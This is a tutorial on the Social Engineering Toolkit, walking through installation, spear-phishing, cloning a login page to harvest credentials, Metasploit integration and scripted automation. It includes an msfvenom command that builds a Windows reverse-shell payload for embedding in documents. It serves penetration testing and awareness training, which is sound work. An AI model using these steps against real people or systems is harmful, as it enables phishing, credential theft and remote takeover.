Created by Yuvin Perera

Social Engineering Toolkit (SET) Tutorial

Introduction

The Social Engineering Toolkit (SET) is an open-source framework designed for social engineering attacks. It is widely used for conducting phishing, credential harvesting, and other social engineering techniques. SET simplifies complex attack methods and is an essential tool for ethical hackers and penetration testers to test organizational security awareness and defenses.

Key Features

- Spear phishing attack vectors.
- Website attack methods, including credential harvesting and cloning.
- Integration with Metasploit for payload delivery.
- Automation capabilities through scripts and custom payloads.

Installation

On Linux

1. Clone the SET repository from GitHub:
2. git clone https://github.com/trustedsec/social-engineer-toolkit.git
3. Navigate to the SET directory:
4. cd social-engineer-toolkit
5. Install the toolkit:
6. sudo python3 setup.py install
7. Launch SET:
8. sudo setoolkit

On macOS and Windows

SET is primarily designed for Linux. Use a Linux virtual machine or dual-boot setup to run SET effectively.

Basic Usage

Starting SET

Run the following command to start the Social Engineering Toolkit:

```
sudo setoolkit
```

This launches the interactive SET menu.

Navigating the Menu

1. After launching SET, you'll see a menu with numbered options.
2. Enter the number corresponding to the attack vector you want to use.
3. Follow the prompts to configure the attack.

Common Attack Vectors

Spear Phishing Attack

1. Select 1) Social-Engineering Attacks.
2. Choose 1) Spear-Phishing Attack Vectors.
3. Configure the attack by selecting an email template or creating your own.
4. Provide recipient details and launch the attack.

Credential Harvester Attack

1. Select 1) Social-Engineering Attacks.
2. Choose 2) Website Attack Vectors.
3. Select 3) Credential Harvester Attack Method.
4. Choose 2) Site Cloner.
5. Enter the URL of the website you want to clone.
6. Start the attack, and SET will create a fake login page to capture credentials.

Advanced Usage

Custom Payloads

SET supports custom payloads for more advanced attacks. To create one:

1. Select 2) Penetration Testing (Fast-Track).
2. Choose Custom Payload Creation.
3. Follow the prompts to generate a payload tailored to your needs.

Integration with Metasploit

SET can integrate with Metasploit to deliver payloads:

1. Generate a payload using Metasploit:
2. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=4444 -f exe > payload.exe
3. Use SET's FileFormat Exploit option to embed the payload into a document or executable.

Automating Attacks

SET supports automation via pre-written scripts. Create a script file containing menu options and inputs, then run:

```
sudo setoolkit -s <script_file>
```

Tips and Tricks

- Use SET in conjunction with a phishing awareness campaign to educate users about identifying threats.
- Always test SET in a controlled environment with permission.
- Leverage SET's logging feature to track attack progress and results.
- Combine SET with tools like Burp Suite or OWASP ZAP for comprehensive penetration testing.

Examples

Example 1: Phishing with an Email Template

1. Launch SET and select 1) Social-Engineering Attacks.
2. Choose 1) Spear-Phishing Attack Vectors.
3. Use an existing email template or create a custom one.
4. Enter recipient details and send the email.

Example 2: Credential Harvesting

1. Select 1) Social-Engineering Attacks.
2. Choose 2) Website Attack Vectors.
3. Use the Site Cloner option to clone a login page.
4. Host the cloned page and capture credentials entered by users.

Example 3: Automating an Attack

1. Create a script file (attack_script.txt) with the following content:(Select as follows)
2. 1
3. 3
4. 2
5. http://example.com
6. Run the script:
7. sudo setoolkit -s attack_script.txt
8. SET will execute the attack steps automatically.

Conclusion

The Social Engineering Toolkit (SET) is a versatile framework for testing social engineering defenses. By automating complex attacks and providing powerful tools like phishing and credential harvesting, SET enables security professionals to identify vulnerabilities in organizational awareness and training programs. Always use SET ethically and with permission to improve security, not compromise it.